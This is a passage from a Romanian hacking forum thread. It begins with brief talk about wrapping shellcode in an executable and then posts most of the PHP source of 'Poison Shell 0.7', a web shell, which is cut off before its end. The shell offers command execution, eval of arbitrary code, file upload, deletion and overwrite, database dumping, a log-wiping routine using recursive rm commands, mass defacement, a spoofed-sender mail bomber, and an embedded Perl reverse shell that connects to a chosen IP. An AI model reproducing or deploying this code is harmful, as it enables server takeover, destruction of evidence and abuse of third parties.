Shellcode to Exe

io.kent · November 9, 2012

code:

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}

lam folosit de cateva ori si e foarte util

http://sandsprite.com/shellcode_2_exe.php

iDefense Cyber Intelligence, Threat Intelligence and Security - Verisign

pentru a analiza exploits e util sa treci shellcode in exe, script php numai copiat shellcode in final de exe sau ceva similar, exe e un loader de shellcode..

Nytro · November 9, 2012

Nu e foarte complicat sa "executi" un shellcode:

((void ())shellcode)();

Transformarea in exe se poate realiza prin-un exe "gol", doar cu headere, iar in sectiunea de cod - Entrypoint, se copiaza shellcode-ul. Nu gasesc momentan o utilitate magnifica pentru asa ceva dar na, probabil uneori poate fi util.

io.kent · November 9, 2012

asa e si mai sunt metode, daca imi aduc bine aminte e ceva cu byte ..

dar e mai simplu asa cum zice nytro.

dar de acest

[php shell] poison shell 0.7

code:

<?php

/*

Poison Shell 0.7


Doddy Hackman (C) Doddy Hackman


Mail : lepuke[at]hotmail[com]
Blog : doddy-hackman.blogspot.com

*/

@session_start();

$username = "a";
$password = "a";

if (isset($_POST['user'])) {
if ($_POST['user'] == $username && $_POST['pass'] == $password) {
$_SESSION['loginh'] = "1";
}
}

if (isset($_GET['chaunow'])) {
@session_destroy();
}

if ($_SESSION['loginh'] == 1) {

if (isset($_GET['info'])) {
die(phpinfo());
}

if (isset($_POST['sessionew'])) {
@session_start();
if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
echo "<script>alert('Session created');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}


if(isset($_GET['bajardb'])) {

$tod = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']); 
mysql_select_db($_GET['bajardb']);

$resultado = mysql_query("SHOW TABLES FROM ".$_GET['bajardb']);

while ($tabla = mysql_fetch_row($resultado)) {
foreach($tabla as $indice => $valor) {

$todo.= "<br><br>".$valor."<br><br>";

$resultadox = mysql_query("SELECT * FROM ".$valor);

$todo.="<table border=1>";

for ($i=0;$i< mysql_num_fields($resultadox);$i++) {
$todo.="<th>".mysql_field_name($resultadox,$i)."</th>";
}
while($dat = mysql_fetch_row($resultadox)) {
$todo.="<tr>";
foreach($dat as $val) {
$todo.="<td >".$val."</td>";
}
}
$todo.="</tr></table>";
}	
}
@mysql_free_result($tod);
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
echo $todo;  
exit(1);
}




if(isset($_GET['bajartabla'])) {
$tod = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
mysql_select_db($_GET['condb']);
if(!empty($_GET['sentencia'])) {
$resultado =  mysql_query($_GET['sentencia']);
} else {
$resultado = mysql_query("SELECT * FROM ".$_GET['bajartabla']);
}
$todo.="<table border=1>";
for ($i=0;$i< mysql_num_fields($resultado);$i++) {
$todo.="<th>".mysql_field_name($resultado,$i)."</th>";
}
while($dat = mysql_fetch_row($resultado)) {
$todo.="<tr>";
foreach($dat as $val) {
$todo.="<td>".$val."</td>";
}
}
@mysql_free_result($tod);
$todo.="</tr></table>";
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
echo $todo;  
exit(1);
}

if (isset($_GET['reload'])) {
$tipo = pathinfo($_GET['reload']);
echo '<meta http-equiv="refresh" content="0;URL=?dir='.$tipo['dirname'].'>';
exit(1);
}

function dame($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}

if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
}

if (isset($_POST['cookienew'])) {
if (setcookie($_POST['cookienew'],$_POST['valor'])) {
echo "<script>alert('Cookie cREATED');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?cookiemanager">';
} else {
echo "<script>alert('Error');</script>";
}
}


echo '<style type="text/css">


.main {
margin			: -287px 0px 0px -490px;
border			: White solid 1px;
BORDER-COLOR: #00FF00;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00; 
border: solid 1px #00FF00;
border-color:#00FF00
}

a:link,a:visited,a:active {
color: #00FF00;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>';

echo "<title>[+] PoisonShell (C) Doddy Hackman 2011 </title>";
echo "<table><tr><td class=main><br><h2>   PoisonShell   </h2><br></td><td class=main>
<b>System</b> : ".php_uname('s')." ".php_uname('r')." ".php_uname('v')."<br><b>Server</b> : ".$_SERVER['SERVER_SOFTWARE']."<br>";
echo "<b>IP</b> : ".$_SERVER['SERVER_ADDR']."      
<b>User</b> : uid=".getmyuid()." (".get_current_user().") gid=".getmygid()."      
<b>Path</b> : ".getcwd()."      
<b>Version PHP</b> : ".phpversion()."<br>";
if (ini_get('safe_mode')==0) {
echo "<b>Safe Mode</b> : OFF      ";	
} else {
echo "<b>Safe Mode</b> : ON      ";
}
if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
echo "<b>Magic Quotes</b> : ON      ";
} else {
echo "<b>Magic Quotes</b> : OFF      ";
}
exec("perl -h",$perl);
if ($perl) {
echo "<b>Perl</b> : ON      ";
} else {
echo "<b>Perl</b> : OFF      ";
}
exec("wget --help",$wget);
if ($wget) {
echo "<b>WGET</b> : ON      ";
} else {
echo "<b>WGET</b> : OFF      ";
}
exec("curl_version",$curl);
if ($curl) {
echo "<b>CURL</b> : ON      ";
} else {
echo "<b>CURL</b> : OFF      ";
}

echo "</tr></td></table><br>";

echo "

<table>
<td class=main><a href=?dir=>Navigate</a></td><td class=main><a href=?cmd=>CMD</a></td>
<td class=main><a href=?upload=>Upload</a></td><td class=main><a href=?base64=>Base64</a></td>
<td class=main><a href=?phpconsole=>Eval</a></td><td class=main><a href=?info=>phpinfo</a></td>
<td class=main><a href=?bomber=>Mailer</a></td><td class=main><a href=?md5crack=>MD5Crack</a></td>
<td class=main><a href=?backshell>BackShell</a></td><td class=main><a href=?mass=>MassDefacement</a></td>
<td class=main><a href=?logs=>CleanLogs</a></td><td class=main><a href=?ftp=>FTP</a></td>
<td class=main><a href=?sql=>SQL</a></td><td class=main><a href=?cookiemanager=>Cookies</a></td>
<td class=main><a href=?sessionmanager=>Session</a></td>
<td class=main><a href=?chau=>Kill</a></td>
</table><br><br>
";




if(isset($_GET['perms'])) {
echo "
<form action='' method=POST>
File : <input type=text name=archivo value=".$_GET['perms'].">
<br>
Perms : <input type=text name=perms value=".dame($_GET['perms'])."
<br><br>
<input type=submit name=cambiarperms value=Change>
</form>
";
}
if (isset($_POST['cambiarperms'])) {
if (chmod($_POST['archivo'],$_POST['perms'])) {
echo "<script>alert('cHANGED');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atras</a><br><br></font></center>";
}

if (isset($_GET['ren'])) {
echo "
<form action='' method=POST>
File : <input type=text name=nombre value=".$_GET['ren']."><br>
Change to : <input type=text name=cambio><br><BR>
<input type=submit name=cambios value=Change><BR>
</form>
";
}

if (isset($_POST['cambios'])) {
if (@rename($_POST['nombre'],$_POST['cambio'])) {
echo "<script>alert('Changed');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['cambios'].">Atras</a><br><br></font></center>";
}



if (isset($_POST['crear1'])) {
chdir($_POST['dir']);
if (fopen($_POST['crear1'],"w")) {
echo "<script>alert('File cREATED');</script>";
}else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atras</a><br><br></font></center>";
}

if (isset($_POST['crear2'])) {
chdir($_POST['dir']);
if (@mkdir($_POST['crear2'],777)) {
echo "<script>alert('Directory created');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atras</a><br><br></font></center>";
}


if (isset($_GET['del'])) {
$tipo  = filetype($_GET['del']);
if ($tipo == "dir") {
if (rmdir($_GET['del'])) {
echo "<script>alert('Directory Deleted');</script>";
} else { 
echo "<script>alert('Error');</script>";
}
} else {
if (unlink($_GET['del'])) {
echo "<script>alert('File Deleted');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
echo "<br><br><font color=red><center><a href=?reload=".$_GET['del'].">Atras</a><br><br></font></center>";
}

if (isset($_GET ['copiar'])) {
echo '
<form action="" method=POST>
File : <input type=text name=archivo value='.$_GET['copiar'].'><br>
Copy to : <input type=text name=nuevo><br><br>
<input type=submit name=copiado value=Copy><BR>
</form>
';
}

if (isset($_POST['copiado'])) {
if (copy($_POST['archivo'],$_POST['nuevo'])) {
echo "<script>alert('OK');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atras</a><br><br></font></center>";
}

if (isset($_GET['open'])) {
echo "<form action='' method=POST>";
echo "<center>";
echo "<textarea cols=80 rows=40 name=code>";
$archivo = file($_GET['open']);
foreach($archivo as $n=>$sub) {
$texto = htmlspecialchars($sub);
echo $texto;
}
echo "</center></textarea>";
echo "<br><br><center><input type=submit value=Save name=modificar></center><br><br>";
echo "</form>";
}

if (isset($_POST['modificar'])) {
$modi = fopen($_GET['open'],'w+');
if ($yeah = fwrite($modi,$_POST['code'])) {
echo "<script>alert('OK');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_GET['open'].">Atras</a><br><br></font></center>";
}


if (isset($_GET['dir'])) {
if ($_GET['dir']=="") {
$path = getcwd();
chdir($path);
$dir = dir($path);
} else {
$path = $_GET['dir'];
chdir($path);
$dir = dir($path);
}
echo "
<br><br>
<form action='' method=GET>
<b>Directory</b> : <input type=text name=dir value=".$path."><input type=submit name=ir value=Navegar>
</form>
<br><br>
<form action='' method=POST>
<b>New File</b> : <input type=text name=crear1><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
</form>
<form action='' method=POST>
<b>New Directory</b> : <input type=text name=crear2><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
</form><br><br>
";
$archivos = array('dir'=>array(),'file'=>array());
while ($archivo = $dir->read()) {
$ver = @filetype($path.'/'.$archivo) ;
if ($ver=="dir") {
$archivos['dir'][] = $path.'/'.$archivo;
} else {
$archivos['file'][] = $path.'/'.$archivo;
}
}
$dir->rewind();
echo "<br><b>Directory Found</b> : ".count($archivos['dir'])."<br>";
echo "<b>Files Found</b> : ".count($archivos['file'])."<br><br><br>";
echo "<table bgcolor=#00FF00 border=1>";
echo "<tr>";
foreach ($archivos['dir'] as $dirs) {
$dirsx = pathinfo($dirs);
echo "<td width=100><a href=?dir=".$dirs.">".$dirsx['basename']."</a></td>";
echo "<td width=100><a href=?ren=".$dirs.">Move</a></td>";
echo "<td width=100><a href=?del=".$dirs.">Delete</a></td>";
echo "<td width=100><a href=?perms=".$dirs.">Perms</a></td>";
echo "<td width=100>--</td>";
echo "<td width=100>--</td>";
echo "</tr><tr>";
}
foreach ($archivos['file'] as $files) {
$filex = pathinfo($files);
echo "<td width=100><a href=?open=".$files.">".$filex['basename']."</a></td>";
echo "<td width=100><a href=?ren=".$files.">Move</a></td>";
echo "<td width=100><a href=?del=".$files.">Delete</a></td>";
echo "<td width=100><a href=?perms=".$files.">Perms</a></td>";
echo "<td width=100><a href=?copiar=".$files.">Copy</a></td>";
echo "<td width=100><a href=?down=".$files.">Download</a></td>";
echo "</tr><tr>";
}
echo "</table>";
}


if (isset($_GET['cmd'])) {
echo '
<form action="" method=POST>
Command : <input type=text name=comando size=50><input type=submit name=ejecutar value=Now>
</form>
';
}
if (isset($_POST['ejecutar'])) {
echo '
<br><br>Command<br><br>
<fieldset>
'.$_POST['comando'].'</fieldset>
<br><br>Result<br><br><fieldset>';
if (!system($_POST['comando'])) {
echo "<script>alert('Error loading command');</script>";
echo "Error";
}
echo "</fieldset><br><br>";
}

if (isset($_GET['upload'])) {
echo "<center><h2>Upload files</h2></center><center><br><br><br>";
echo '
<form enctype="multipart/form-data" action="" method=POST>
File : <input type=file name=archivo><br><br>	
Directory : <input type=text name=destino value='.getcwd().'>
<input type=submit value=Upload><br>
</form>';
if (isset($_FILES['archivo'])) {
$subimos = basename($_FILES['archivo']['name']);
if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subimos)) {
if (copy($subimos,$_POST['destino']."/".$subimos)) { 
unlink($subimos);
echo "<script>alert('File uploaded');</script>";
}
} else {
echo "<script>alert('Error');</script>";
}
}
}

if (isset($_GET['base64'])) {
echo '
<form action="" method=POST>
Encode : <input type=text name=code size=50><input type=submit name=codificar value=Encode>
</form>
<form action="" method=POST>
Decode : <input type=text name=decode size=50><input type=submit name=decodificar value=Decode>
</form>
';
}
if (isset($_POST['codificar'])) {
echo "<br><br>Text<br><br><fieldset>".$_POST['code']."</fieldset><br><br>Result<br><br><fieldset>";
echo base64_encode($_POST['code'])	;
echo "</fieldset><br><br>";
}

if (isset($_POST['decodificar'])) {
echo "<br><br>Text<br><br><fieldset>".$_POST['decode']."</fieldset><br><br>Result<br><br><fieldset>";
echo base64_decode($_POST['decode']);
echo "</fieldset><br><br>";
}


if (isset($_GET['phpconsole'])) {
echo '
<form action="" method=POST>
Code : <input type=text name=codigo size="70"><input type=submit name=cargar value=OK>
</form>
';
}
if (isset($_POST['cargar'])) {
echo "<br><br>Code<br><br>
<fieldset>
".$_POST['codigo']."
</fieldset>
<br><br>
Result<br><br>
<fieldset>";

eval($_POST['codigo']);
echo "</fieldset>
";
}




if (isset($_GET['logs'])) {
echo '
<br><br><center><h3>Zapper</h3>
<br><br>
<form action="" method=GET>
<input type=submit name=clean value=Start>
</form></center>
<br><br>
';
}

if (isset($_GET['clean'])) {

$paths = array("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba","/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");

$comandos  = array('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST');

foreach($paths as $path) {
if(@unlink($path)) {
echo $path.": Deleted<br>";
}
}
echo "<br><br>";
foreach($comandos as $comando) {
echo "Loading command : ".$comando."<br>";
system($comando);
}
}


if(isset($_GET['mass'])) {
echo "
<form action='' method=POST>
Directory to start : <input type=text name=dir value=".getcwd()."><br><br>
Code : <input type=text name=codigo size=70>
<input type=submit name=def value=Start>
</form>
";
}
if (isset($_POST['def'])) {
juntar($_POST['dir'],$_POST['codigo']);
}
function juntar ($dira,$text) {
$dir= opendir($dira);
while (!is_bool($archivos = readdir($dir))) {
if ($archivos != "..") {
if ($archivos != ".")  {
if ($archivos != basename($_SERVER['PHP_SELF'])) {
if (@filetype($dira."/".$archivos) == dir) {
juntar($dira."/".$archivos,$text);
} else {
echo "Deface : ".$dira."/".$archivos."<br>";
$solo = fopen($dira."\\".$archivos,"w");
$solo = fwrite($solo,$text);	
fclose($solo);
}}}}}} 	


if (isset($_GET['chau'])) {
if ($_GET['chau'] == "fuckit") {
echo "<br><br><h3>Kapoom !!!</h3><br><br>";
//unlink(basename($_SERVER['PHP_SELF']));
} else {
echo "<br><br><font color=red><h3><center>Acceso Denegado</center></h3></font><br><br>";
}
}



if (isset($_GET['bomber'])) {
echo "
<form action='' method=POST>
Target : <input type=text name=idiot value=@hotmail.com><br>
Fake mail : <input type=text name=falso><br>
Fake name : <input type=text name=nombrefalso><br>
Subject : <input type=text name=asunto><br>
Count : <input type=text name=count value=1><br>
Message : <input type=text name=mensaje size=60><br><br>
<br><input type=submit name=bombers value=Now>
</form>";
}

if (isset($_POST['bombers'])) {

$need .="MIME-Version: 1.0\n";
$need .="Content-type: text/html ; charset=iso-8859-1\n";
$need .="MIME-Version: 1.0\n";
$need .="From: ".$_POST['nombrefalso']." <".$_POST['falso'].">\n";
$need .="To: ".$_POST['nombrefalso']."<".$_POST['falso'].">\n";
$need .="Reply-To:".$_POST['falso']."\n";
$need .="X-Priority: 1\n";
$need .="X-MSMail-Priority:Hight\n";
$need .="X-Mailer:Widgets.com Server";


echo "<br><br><br><center><h2>Result</h2></center><br><br>";

for ($i = 1; $i <= $_POST['count']; $i++) {
if(@mail($_POST['idiot'],$_POST['asunto'],$_POST['mensaje'],$need)) {
echo "[+] Message <b>$i</b> Send<br>";
flush();
} else {
echo "[+] Message <b>$i</b> not Send<br>";
}}}

if (isset($_GET['md5crack'])) {

echo "

<form action='' method=POST
<b>Hash</b> : <input type=text name=md5 size=50><br><br>
<b>Salt</b> : <input type=text name=salto size=50><br>
<br><h3>Wordlist</h3>
<textarea cols=80 rows=40 name=code></textarea> 
<br><br>
<input type=submit value=Crack>
</form>
";

}

if (isset($_POST['md5'])) {
echo "<br><br><fieldset>";
echo "[+] Starting the search<br><br>";

$total = explode("\n",$_POST['code']);

foreach ($total as $linea){

$linea = chop($linea);

if (!empty($_POST['salto'])) {
$test = md5($linea.$_POST['salto']);
} else {
$test = md5($linea);
}

if ($test == $_POST['md5']) {
echo "<br>[+] Hash Cracked : ".$_POST['md5'].":".$linea."<br><br>";
exit(1);
} else {
echo "[+] : ".$_POST['md5']." != ".$linea."<br>";
}
}
echo "<br>[+] Finished<br>";
echo "</fieldset>";
}

if (isset($_GET['cookiemanager'])) {
echo "<h2>Cookies</h2><br><br>";
echo "[+] <b>Cookies Found</b> : ".count($_COOKIE)."<br><br>";  

echo "
<br><BR><form action='' method=POST>
New cookie : <input type=text name=cookienew><BR>
Value : <input type=text name=valor><BR><br>
<input type=submit value=Create><BR><br><br>
</form><br>";


echo "<table>";
echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";

if (count($_COOKIE) != 0) {
foreach  ($_COOKIE as $nombre=>$valor) {
echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
}
echo "</table>";
}

echo "<br><br>";
}

if (isset($_GET['sessionmanager'])) {

@session_start();

echo "<h2>Session</h2><br><br>";
echo "[+] <b>Sessions Found</b> : ".count($_SESSION)."<br><br>";  


echo "
<br><BR><form action='' method=POST>
New session : <input type=text name=sessionew><BR>
Value : <input type=text name=valor><BR><br>
<input type=submit value=Create><BR><br><br>
</form><br>";


if (count($_SESSION) != 0) {

echo "<table>";
echo "<td class=main><b>Name</b></td><td class=main><b>Value</b></td><tr>";

foreach  ($_SESSION as $nombre=>$valor) {
echo "<td class=main>".$nombre."</td><td class=main>".$valor."</td><tr>";
}
echo "</table>";
}
}

if (isset($_GET['ftp'])) {
echo "<h2>FTP Manager</h2><br><br>";
echo "

<form action='' method=GET>
Server : <input type=text name=serverftp value=127.0.0.1><br>
User : <input type=text name=user value=doddy><br>
Pass : <input type=text name=pass value=123><br><br><br>
<input type=hidden name=diar value=/>
<input type=submit value=Connect><br><br>
</form>
";

}

if (isset($_GET['renamenow'])) {

echo "

<form action='' method=GET>
File : <input type=text name=renamenowx value=".$_GET['renamenow']."><br>
New name : <input type=text name=newname><br><br>
<input type=hidden name=serverftp value=".$_GET['serverftp'].">
<input type=hidden name=user value=".$_GET['user'].">
<input type=hidden name=pass value=".$_GET['pass'].">
<input type=hidden name=diar value=".$_GET['diar'].">
<input type=submit value=Rename>
</form>
";
exit(1);
}


if (isset($_GET['renamenowx'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

if (ftp_rename($enter,$_GET['renamenowx'],$_GET['newname'])) {
echo "<script>alert('Changed');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
} else {
echo "<script>alert('Error');</script>";
}
}



if (isset($_GET['deletenow'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

if ($_GET['controla'] == "dir") {
if (@ftp_rmdir($enter,$_GET['deletenow'])) {
echo "<script>alert('Directory Deleted');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
} else {
echo "<script>alert('Error');</script>";
}

} else {

if (@ftp_delete($enter, $_GET['deletenow'])) {
echo "<script>alert('File Deleted');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
} else {
echo "<script>alert('Error');</script>";
}

}
}


if (isset($_GET['permsdown'])) {

echo "<form action='' method=GET>
File : <input type=text name=filetochange value=".$_GET['permsdown'].">
Perms : <input type=text name=pe value=0777 >
<input type=hidden name=serverftp value=".$_GET['serverftp'].">
<input type=hidden name=user value=".$_GET['user'].">
<input type=hidden name=pass value=".$_GET['pass'].">
<input type=submit value=Change>
</form>";
exit(1);
}

if (isset($_GET['filetochange'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

if (@ftp_chmod($enter,$_GET['pe'],$_GET['filetochange'])) {
echo "<script>alert('Changed');</script>";
} else {
echo "<script>alert('Error');</script>";
}

}


if (isset($_GET['serverftp'])) {

if ($enter = @ftp_connect("127.0.0.1")) {
if ($dentro = @ftp_login($enter,"doddy","123")) {
echo "<br><b>[+] Connected to server</b><br>";
} else {
echo "<br><b>[-] Error in the login</b><br><br>";
} 

echo "<b>[+] ONline</b><br><br><br>";

echo "

<form action='' method=GET>
Directory : <input type=text name=diar value=";
if (empty($_GET['diar'])) {
echo ftp_pwd($enter);
} else {
echo $_GET['diar'];
}

echo ">
<input type=hidden name=serverftp value=".$_GET['serverftp'].">
<input type=hidden name=user value=".$_GET['user'].">
<input type=hidden name=pass value=".$_GET['pass'].">

<input type=submit value=Load>
</form>
<br><br>
<form action='' method=GET>
New directory : <input type=text name=newdirftp><input type=submit value=Load>
<input type=hidden name=serverftp value=".$_GET['serverftp'].">
<input type=hidden name=user value=".$_GET['user'].">
<input type=hidden name=pass value=".$_GET['pass'].">
<input type=hidden name=diar value=".$_GET['diar'].">
</form>
<br><br>

<br><br>";

if (isset($_GET['diar'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

if (empty($_GET['diar'])) {

if (!$lista = ftp_nlist($enter.".")) {
echo "<script>alert('Error loading directory');</script>";
exit(1);
}

} else {

if (!$lista = ftp_nlist($enter,$_GET['diar'])) {
echo "<script>alert('Error loading directory');</script>";
exit(1);
}

}
}

echo "<table>";
foreach ($lista as $ver) {
echo "<td class=main>".$ver."</td>";

if (ftp_size($enter,ftp_pwd($enter).$ver) == -1) {

echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$ver.">Enter</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&renamenow=".$ver.">Rename</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&controla=dir&diar=".$_GET['diar']."&deletenow=".$ver.">Delete</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&permsdown=".$ver.">Perms</a></td>";
echo "<td class=main>--</a></td><tr>";

} else {

echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$ver.">--</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&renamenow=".$ver.">Rename</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&controla=file&diar=".$_GET['diar']."&deletenow=".$ver.">Delete</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&permsdown=".$ver.">Perms</a></td>";
echo "<td class=main><a href=?serverftp=".$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar']."&downfile=".$ver.">Download</a></td><tr>";

}

}

echo "</table>";

} else {
echo "<b>[-] Error in the server</b><br><br>";
}
}


if (isset($_GET['downfile'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

$nuevo = fopen(basename($_GET['downfile']),'w');

if (ftp_fget($enter,$nuevo,$_GET['downfile'], FTP_ASCII, 0)) {
echo "<script>alert('File Download');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
} else {
echo "<script>alert('Error in the download');</script>";
}

ftp_close($enter);
fclose($nuevo);

}

if (isset($_GET['newdirftp'])) {

$enter = ftp_connect($_GET['serverftp']);
$dentro = ftp_login($enter,$_GET['user'],$_GET['pass']);

if (ftp_mkdir($enter,$_GET['diar'].$_GET['newdirftp'])) {
echo "<script>alert('Directory created');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?serverftp='.$_GET['serverftp']."&user=".$_GET['user']."&pass=".$_GET['pass']."&diar=".$_GET['diar'].'>';
} else {
echo "<script>alert('Error');</script>";
}
}

if (isset($_GET['backshell'])) {

echo "

<form action='' method=GET>
IP : <input type=text name=ip value=".$_SERVER['REMOTE_ADDR']."><br>
Port : <input type=text name=port value=666><br><br>
Type : <select name=tipo>
<option>Perl</option>
</select>
<br><br><br>
<input type=submit value=Conectar>

";
}

if (isset($_GET['ip'])) {


if ($_GET['tipo']=="Perl") {

$code = ' 
#!usr/bin/perl
#Reverse Shell 0.1
#By Doddy H

use IO::Socket;

print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";

unless (@ARGV == 2) { 
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
} else {
print "[+] Starting the connection\n";
print "[+] Enter in the system\n";
print "[+] Enjoy !!!\n\n";
conectar($ARGV[0],$ARGV[1]);
tipo();
}

sub conectar {

socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}

sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}

sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}

sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}

# ¿ The End ?

';

$de = $_SERVER["HTTP_USER_AGENT"];

if(eregi("Win",$de)){
if ($test =  fopen("back.pl","w")) {
echo "<br><br><b>[+] Shell Created</b><br>";
} else {
echo "<br><br><b>[-] Error creating the shell</b><br>";
}
} else {

if ($test = fopen("/tmp/back.pl","w")) {
echo "<br><br><b>[+] Shell Created</b><br>";
} else {
echo "<br><br><b>[-] Error creating the shell</b><br>";
}

}

if (fwrite($test,$code)) {

if(eregi("Win",$de)){
if (chmod("back.pl",0777)) {
echo "<b>[+] Perms Changed<br></b>";
} else {
echo "<b>[-] Not priviligies to changed permissions</b><br>";
}
echo "<b>[+] Loading Shell</b><br><br><br>";
echo "<fieldset>";
if (!system("perl back.pl ".$_GET['ip']. " ".$_GET['port'])) {
echo "<script>alert('Error Loading Shell');</script>";
}
echo "</fieldset>";
} else {
if (chmod("/tmp/back.pl",0777)) {
echo "<b>[+] Perms Changed<br></b>";
} else {
echo "<b>[-] Not priviligies to changed permissions</b><br>";
}
echo "<b>[+] Loading Shell</b><br><br><br>";
echo "<fieldset>";
